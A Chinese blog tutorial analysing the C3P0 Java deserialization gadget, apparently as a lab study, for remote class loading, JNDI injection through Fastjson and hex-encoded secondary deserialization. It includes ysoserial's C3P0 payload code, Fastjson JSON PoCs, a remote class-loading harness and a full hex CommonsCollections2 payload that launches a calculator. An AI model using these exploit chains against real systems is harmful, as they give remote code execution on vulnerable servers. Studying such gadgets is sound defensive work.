浅谈Java安全之C3P0的使用
作者:Zh1z3ven 发布时间:2022-06-06 00:22:11
写在前面
很久以前就听nice0e3师傅说打Fastjson可以试试C3P0,当时还不会java(虽然现在也没会多少)也就没有深究。最近调试Fastjson的漏洞,又想到了这个点,就拿出来学习下。
C3P0 Gadget
C3P0中有三种利用方式
http base
JNDI
HEX序列化字节加载器
下面来一点点看他们究竟是怎样使用的。
先贴上ysoserial项目中C3P0 Gadget的源码:
package ysoserial.payloads;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
*
*
* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
*
* Arguments:
* - base_url:classname
*
* Yields:
* - Instantiation of remotely loaded class
*
* @author mbechler
*
*/
@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
@Authors({ Authors.MBECHLER })
public class C3P0 implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(C3P0.class, args);
}
}
http base
可以本地起一个反序列化的环境,导入c3p0的依赖
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
会导入下面两个jar
c3p0-0.9.5.2.jar
mchange-commons-java-0.2.11.jar
在ysoserial项目中直接测试下
public static void main ( final String[] args ) throws Exception {
// PayloadRunner.run(C3P0.class, args);
C3P0 c3P0 = new C3P0();
Object object = c3P0.getObject("http://127.0.0.1:9010/:calc");
byte[] serialize = Serializer.serialize(object);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
}
之后准备个弹计算器的类,编译成class,之后再起个http服务
import java.io.IOException;
public class calc {
static{
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}
C3P0.getObject()
先来正向调试下序列化的过程
先跟进看C3P0.getObject()
前面是通过最后一个:
拿到url
和需要远程加载的className
之后通过反射创建了一个PoolBackedDataSource
对象
接着反射设置PoolBackedDataSourceBase
类中属性connectionPoolDataSource
为PoolSource
对象
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
实例化时会把url
和className
即我们远程地址和恶意类的类名赋值给PoolSource
的属性
序列化
序列化时会调用com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject()
方法,但是会抛出异常进入catch
部分
之后依然会调用writeObject方法
首先会先去indirector.indirectForm(this.connectionPoolDataSource)
,而this.connectionPoolDataSource
的两个属性是我们的远程地址和恶意类类名
indirectForm方法逻辑如下:
public IndirectlySerialized indirectForm(Object var1) throws Exception {
Reference var2 = ((Referenceable)var1).getReference();
return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}
首先调用我们传入对象的getReference
方法,也即是PoolSource#getReference()
该方法会实例化一个Reference
对象
后面将生成的Reference
对象作为参数传递进ReferenceIndirector.ReferenceSerialized
,调用有参构造去实例化
反序列化
反序列化入口点应在PoolBackedDataSourceBase#readObject()
处,我们下个断点跟进去
而在readObject()
中会去调用ReferenceIndirector.ReferenceSerialized#getObject()
方法,这里单步调试进不去,直接在getObject()
方法内下断点F9跟进去。这里并没有调用lookup
而是走到调用ReferenceableUtils.referenceToObject()
,继续跟
通过URLClassLoader
远程加载类造成远程代码执行
Class.forName()
在nice0e3师傅文章里看到的,这个点以前学反射的时候没深入跟,这里深入学习一下。
这里如果可以控制forName⽅法的第⼀个和第三个参数,并且第⼆个参数为 true,那么就可以利⽤BCEL, ClassLoader实现任意代码加载执⾏ 。
首先可以把关键代码抠出来
ClassLoader var6 = Thread.currentThread().getContextClassLoader();
String var4 = "calc";
URL var8 = new URL("http://127.0.0.1:9010");
var7 = new URLClassLoader(new URL[]{var8}, var6);
Class var12 = Class.forName(var4, true, (ClassLoader)var7);
调试下看看,进入Class.forName()
后首先去看是否设置了SecurityManager
没有的话则去调用forName0()
public static Class<?> forName(String name, boolean initialize,
ClassLoader loader)
throws ClassNotFoundException
{
if (loader == null) {
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
ClassLoader ccl = ClassLoader.getCallerClassLoader();
if (ccl != null) {
sm.checkPermission(
SecurityConstants.GET_CLASSLOADER_PERMISSION);
}
}
}
return forName0(name, initialize, loader);
}
forName0()
里是native代码,底层是C/C++实现,就跟不了了
private static native Class<?> forName0(String name, boolean initialize,
ClassLoader loader)
throws ClassNotFoundException;
官方文档说明:只有当 initialize参数是true并且之前没有被初始化时,类才会被初始化。
Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.
这里其实在审计的时候也可以关注下forName()
的参数是否可控,可控的话就可以通过初始化来触发代码执行
JNDI
利用姿势
以Fastjson为例
PoC
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"rmi://127.0.0.1:1099/badClassName", "loginTimeout":0}
调试分析
JNDI的话主要利用的是com.mchange.v2.c3p0.JndiRefForwardingDataSourceBase
中的setjndiName()
去设置我们远程ldap地址
最终走第二个if中this.pcs.firePropertyChange()
方法
public void setJndiName(Object jndiName) throws PropertyVetoException {
Object oldVal = this.jndiName;
if (!this.eqOrBothNull(oldVal, jndiName)) {
this.vcs.fireVetoableChange("jndiName", oldVal, jndiName);
}
this.jndiName = jndiName instanceof Name ? ((Name)jndiName).clone() : jndiName;
if (!this.eqOrBothNull(oldVal, jndiName)) {
this.pcs.firePropertyChange("jndiName", oldVal, jndiName);
}
}
之后在解析到loginTimeout
字段时会调用com.mchange.v2.c3p0JndiRefForwardingDataSource#setLoginTimeout()
方法
public void setLoginTimeout(int seconds) throws SQLException {
this.inner().setLoginTimeout(seconds);
}
在inner()
中,跟入this.dereference()
private synchronized DataSource inner() throws SQLException {
if (this.cachedInner != null) {
return this.cachedInner;
} else {
DataSource out = this.dereference();
if (this.isCaching()) {
this.cachedInner = out;
}
return out;
}
}
在其中触发了JNDI
先利用com.mchange.v2.c3p0.JndiRefDataSourceBase#setJndiName()
设置远程ldap地址,之后通过com.mchange.v2.c3p0JndiRefForwardingDataSource#setLoginTimeout()
==> this.inner()
==> InitialContext.lookup()
触发JNDI
Hex序列化字节加载器
利用姿势
这里其实就是常听到的就是用C3P0二次反序列化打Fastjson,因为像Fastjson和Jackson在反序列化时都会触发setter方法的执行,而C3P0中userOverridesAsString
的setter会将HexAsciiSerializedMap
开头的hex字符串进行解码再去触发Java原生的反序列化
PoC
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}
先生成序列化payload,这里的payload注意是需要本地的另一条Gadget比如CC或者CB链,然后hex编码一下拼到PoC里
CC2
➜ target java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "open -a Calculator" > calc.ser
public static void main(String[] args) throws IOException, ClassNotFoundException {
System.out.println("hello");
InputStream in = new FileInputStream("/Users/sangfor/Downloads/ysoserial-master/target/calc.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
Calc Hex String
ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E00200007870000006A6CAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100126F70656E202D612043616C63756C61746F7208003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001D79736F73657269616C2F50776E6572343835333735313638353139363001001F4C79736F73657269616C2F50776E657234383533373531363835313936303B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000036000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D0000000600010000003B000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D0000000600010000003F000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A000100020023001000097074000450776E727077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178
回显RCE,PoC参考safe6sec项目
Godzilla4 Memshell
调试分析
前面也提到了,主要是调用到userOverridesAsString
的setter触发了反序列化,跟进去看一下
this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);
跟进listeners[current].vetoableChange(event);
之后进入WrapperConnectionPoolDataSource#setUpPropertyListeners()
方法,其中调用了C3P0ImplUtils.parseUserOverridesAsString((String)val)
去解析我们传入的HexString
private void setUpPropertyListeners() {
VetoableChangeListener setConnectionTesterListener = new VetoableChangeListener() {
public void vetoableChange(PropertyChangeEvent evt) throws PropertyVetoException {
String propName = evt.getPropertyName();
Object val = evt.getNewValue();
if ("connectionTesterClassName".equals(propName)) {
try {
WrapperConnectionPoolDataSource.this.recreateConnectionTester((String)val);
} catch (Exception var6) {
if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to create ConnectionTester of class " + val, var6);
}
throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
}
} else if ("userOverridesAsString".equals(propName)) {
try {
WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String)val);
} catch (Exception var5) {
if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, var5);
}
throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
}
}
}
};
this.addVetoableChangeListener(setConnectionTesterListener);
}
继续跟进,利用subString
截取了HexAsciiSerializedMap
之后的Hex编码字符串,交给ByteUtils.fromHexAscii(hexAscii)
把Hex转成bytes数组,之后调用SerializableUtils.fromByteArray(serBytes)
处理
调用了deserializeFromByteArray
方法,之后进入Java原生的readObject()
Reference
https://www.cnblogs.com/nice0e3/p/15058285.html
http://redteam.today/2020/04/18/c3p0的三个gadget/
https://github.com/safe6Sec/Fastjson
来源:https://www.cnblogs.com/CoLo/p/15850685.html
猜你喜欢
- 相信做 Java 开发的朋友,大多都是学习过或至少了解过 Java GUI 编程的,其中有大量的事件和控件的绑定,当我们需要在点击某个按钮实
- 数据表格能够清晰的呈现数据信息,但是我们对于一些繁杂多变的数据想要很直观的看到数据变化走势或者数据的占比时,数据图表会更具代表性,并且在呈现
- 前言 短时间提升自己最快的手段就是背面试题,最近总结了Java常用的面试题,分享给大家,希望大家都能圆梦大厂,加油,我命由我不由天
- 安装jdk(介绍三种方法)查看java版本:java -version方法一:利用yum源来安装jdk(此方法不需要配置环境变量)查看yum
- 目录1 简介2 Condition的实现分析等待队列等待(await):AbstractQueuedLongSynchronizer中实现C
- java 指定某个jdk版本方法指定某个jdk版本方法背景:当我们在同一台机器上运行多个Java程序,但是所需的java版本不同,此时就需要
- JVM内存模型/内存空间Java虚拟机JVM运行起来,就会给内存划分空间,这块空间成为运行时数据区。运行时数据区主要划分为以下 6
- 这里不准备讨论REST的细节内容,但是总体上,REST是让客户端与服务器段的交互通过发送和接收展示资源的方式来进行,在这里有必要说明:Fie
- 一、java final基本概念:1、主要用于修饰类、属性和方法:被final修饰的类不可以被继承被final修饰的方法不可以被重写被fin
- C#实现IDispose接口.net的GC机制有两个问题:首先GC并不能释放所有资源,它更不能释放非托管资源。其次,GC也不是实时的,所有G
- 前言:sleep 方法和 wait 方法都是用来将线程进入休眠状态的,并且 sleep 和 wait 方法都可以响应 interrupt 中
- Linux Hadoop 2.7.3 安装搭建Hadoop实现了一个分布式文件系统(Hadoop Distributed File Syst
- 初步探索首先我们要了解equals方法是什么,hashcode方法是什么。equals方法equals 是java的obejct类的一个方法
- 一、前言尽管Unity有一个像样的脚本编辑器(Mono),但很多人喜欢使用另一个编辑器。这篇短文解释了如何更改脚本编辑器,并介绍了Mono的
- 一、synchronized 有不足新事物的出现要不是替代老事物,要么就是对老事物的补充JUC 的 locks 就是对 synchroniz
- Maven工程pom定义jdk版本今天把之前做的项目导进eclipse,然后发现报错,一些类在1.6中不支持,需要将JDK版本设置为1.7,
- SpringDataJpa like查询无效这里写自定义目录标题SpringDataJpa like查询@Query(value = &qu
- IDEA设置文档注释模板创建Class文件时自动生成的头部注释如图如何配置idea的头部注释格式,可以生成像之前的注释格式一样的文档注释?F
- 1、概念:MyBatis中的延迟加载,也称为懒加载,是指在进行表的关联查询时,按照设置延迟规则推迟对关联对象的select查询。例如在进行一
- Java语言是简单的:Java语言的语法与C语言和C++语言很接近,使得大多数程序员很容易学习和使用。另一方面,Java丢弃了C++中很少使